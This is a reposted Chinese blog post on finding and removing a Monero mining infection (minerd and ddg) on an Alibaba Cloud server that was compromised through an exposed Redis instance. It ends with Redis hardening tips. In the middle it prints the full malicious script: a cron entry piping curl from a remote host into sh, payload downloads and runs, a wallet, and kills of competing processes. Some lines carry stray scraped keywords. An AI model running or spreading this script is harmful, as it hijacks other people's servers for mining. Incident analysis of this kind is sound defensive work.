阿里雲服務器被挖礦程序minerd入侵的終極解決辦法[轉載]

      忽然發現阿里雲服務器CPU很高,幾乎達到100%,執行 top c 一看,嚇一跳,結果以下:java

 

3798 root      20   0  386m 7852 1272 S 300.0  0.1   4355:11 /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofT  
5844 root      20   0 3448m 292m  14m S  1.7  3.7  26:02.07 /usr/java/default/bin/java -Xms64M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/us  
2500 root      20   0  220m 9.9m 5176 S  0.3  0.1   0:09.02 /tmp/ddg.217                                                                                                                        
   1 root      20   0 19360 1532 1232 S  0.0  0.0   0:00.61 /sbin/init     

 

有個進程minerd盡然佔用了300%的CPU, 百度了一下,貌似服務器被利用Redis漏洞攻擊,植入了挖礦程序,挖相似比特幣的東西。redis

查到幾篇文章都有人遇到一樣問題,解決的辦法:http://blog.csdn.net/hu_wen/article/details/51908597服務器

但我去查看啓動的服務,盡然沒有 lady 這個服務。 找不到根源,那個minerd進程刪掉就又起來了,後來想了個臨時辦法,先停掉了挖礦的進程ssh

1. 關閉訪問挖礦服務器的訪問 curl

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.tcp

2. chmod -x minerd  ,取消掉執行權限, 在沒有找到根源前,千萬不要刪除 minerd,由於刪除了,過一回會自動有生成一個。ide

3. pkill minerd  ,殺掉進程阿里雲

4. service stop crond 或者 crontab -r 刪除全部的執行計劃url

5. 執行top,查看了一會,沒有再發現minerd 進程了。spa

6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。

下載腳本的語句:

*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh  

病毒文件內容以下,感興趣的能夠研究下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  
  
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root  
  
if [ ! -f "/tmp/ddg.217" ]; then  
    curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217  
fi  
chmod +x /tmp/ddg.217 && /tmp/ddg.217  
killall /tmp/ddg.216  
  
  
if [ -d "/opt/yam" ]; then  
    rm -rf /opt/yam  
fi  
  
ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9  
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9  
  
#/opt/minerd -h  
#if [ $? != "0" ]; then  
    #ps auxf|grep -v grep|grep "/opt/minerd"  
    #if [ $? != "0" ]; then  
        #if [ ! -f /opt/yam ]; then  
            #curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam  
        #fi  
        #chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr  
    #fi  
#fi  
  
DoMiner()  
{  
    if [ ! -f "/tmp/AnXqV" ]; then  
        curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV  
    fi  
    chmod +x /tmp/AnXqV  
    /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x  
}  
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner  
  
  
DoRedis6379()  
{  
    iptables -F REDIS6379  
    iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT  
    #iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT  
    iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT  
    iptables -I INPUT -j REDIS6379  
}  
iptables -D OUTPUT -j REDIS6379  
iptables -F REDIS6379  
iptables -X REDIS6379  
iptables -D INPUT -j REDIS63792  
iptables -F REDIS63792  
iptables -X REDIS63792  
#iptables -N REDIS6379 && DoRedis6379  
View Code

 

解決minerd並非最終的目的,主要是要查找問題根源,個人服務器問題出在了redis服務了,黑客利用了redis的一個漏洞得到了服務器的訪問權限,http://blog.jobbole.com/94518/而後就注入了病毒,下面是解決辦法和清除工做:

1. 修復 redis 的後門,

  1. 配置bind選項, 限定能夠鏈接Redis服務器的IP, 並修改redis的默認端口6379.
  2. 配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即便存在未受權訪問, 也可以給攻擊者使用config指令加大難度
  4. 好消息是Redis做者表示將會開發」real user」,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如conf

2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的帳號

3. 查看你的用戶列表,是否是有你不認識的用戶添加進來。 若是有就刪除掉.

相關文章
相關標籤/搜索